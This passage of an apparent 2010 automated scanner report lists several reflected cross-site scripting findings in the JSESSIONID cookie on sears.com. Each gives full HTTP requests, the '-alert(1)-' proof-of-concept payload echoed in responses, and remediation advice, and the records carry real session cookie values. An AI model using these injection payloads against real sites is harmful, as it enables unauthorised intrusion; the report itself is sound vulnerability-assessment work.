Content-Language: en-US
Expires: Tue, 16 Nov 2010 18:07:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 18:07:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000inYv7IHP4TNvHCqsVz0-R0o:15dvllg02; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932647~id=7ae87eb6f1587a9f5ea4bd0ee62b8467; path=/
s-srvr: aixwcs465p.prod.ch4.s.com, prd2
Content-Length: 89405


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rdfd7a'-alert(1)-'b379937399d';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.17. http://www.sears.com/shc/s/AdYourWay [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/AdYourWay

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 94419'-alert(1)-'1175c5e0de5 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/AdYourWay?storeId=10153&catalogId=12605&langId=-1&adCell=WF HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r94419'-alert(1)-'1175c5e0de5; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:58:56 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:58:56 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000Sdr-n7K4Ze5VidWZXVjunO6:15g987jk7; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: geoZipCode=75201; Path=/
Set-Cookie: offerCenterUnitNumber=0001057; Expires=Fri, 11 Nov 2011 17:58:56 GMT
Set-Cookie: WC_PERSISTENT=5y3CqpxA1qFuroYUSjUDVSQ0Rfc%3d%0a%3b2010%2d11%2d16+11%3a58%3a56%2e551%5f1289929919220%2d543%5f10153%5f1291888773%2c%2d1%2cUSD%5f10153; Expires=Fri, 11 Nov 2011 17:58:56 GMT; Path=/
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_USERACTIVITY_1291888773=1291888773%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cT5o6betwSbzX6M%2bsRcXvsNp4%2fuMpFceqhLmLghaxm0%2fRJMQpMlsffxGQDOASeIsZEIqZzoB0%2f11k%0a0HaaH0mdumMVWM4aAr2NwhMzE47hQlKTlWiuX1%2bx7xjT%2fMI5J7jA%2bEtBeU093FkpnSO73GDOEw%3d%3d; Path=/
Set-Cookie: akaau2=1289932136~id=c5131d5510dbf7ef375660aca43dc1f7; path=/
s-srvr: aixwcs493p.prod.ch4.s.com, prd1
Content-Length: 89695


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r94419'-alert(1)-'1175c5e0de5';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.18. http://www.sears.com/shc/s/BrowseStaticPageCmd [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/BrowseStaticPageCmd

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c678'-alert(1)-'2c9a83ea5d5 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/BrowseStaticPageCmd?storeId=10153&vName=BuyingGuides+Treadmill&catalogInd=NB&catalogId=12605&adCell=W4&adCell=W8 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r5c678'-alert(1)-'2c9a83ea5d5; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 18:05:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 18:05:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=00007YyOP3KjVMD-MYsakHKVhMb:15dvkhsfj; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932526~id=2791fd3aedac3a4b71ad2e24ca2ce283; path=/
s-srvr: aixwcs435p.prod.ch4.s.com, prd3
Content-Length: 82253


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r5c678'-alert(1)-'2c9a83ea5d5';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.19. http://www.sears.com/shc/s/CountryChooserView [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/CountryChooserView

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a11e8'-alert(1)-'30ab73461ef was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/CountryChooserView?storeId=10153&catalogId=12605?adCell=EGshipping&adCell=W4 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6ra11e8'-alert(1)-'30ab73461ef; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:57:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:57:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000lNW0R9Pm0fcgeTFYgrkH8eq:15dvlnei4; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932067~id=1d56b7291e475b4a16ad33c511aae88c; path=/
s-srvr: aixwcs481p.prod.ch4.s.com, prd2
Content-Length: 117497


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6ra11e8'-alert(1)-'30ab73461ef';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.20. http://www.sears.com/shc/s/GRLandingPageView [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/GRLandingPageView

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41e85'-alert(1)-'4d58e6d174a was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/GRLandingPageView?storeId=10153&catalogId=12605&langId=&adCell=W3 HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r41e85'-alert(1)-'4d58e6d174a; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 18:01:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 18:01:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000ZXocoG1W2ZKSFIjco6YiYK4:15dvkmtaa; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932279~id=5f2b42c0179a37592b8e459cb4ace0d3; path=/
s-srvr: aixwcs479p.prod.ch4.s.com, prd1
Content-Length: 115998


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r41e85'-alert(1)-'4d58e6d174a';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

1.21. http://www.sears.com/shc/s/GiftRegistryHomeView [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/GiftRegistryHomeView

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e795c'-alert(1)-'ef7198b81e8 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/GiftRegistryHomeView?storeId=10153&catalogId=12605&adCell=WF HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6re795c'-alert(1)-'ef7198b81e8; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
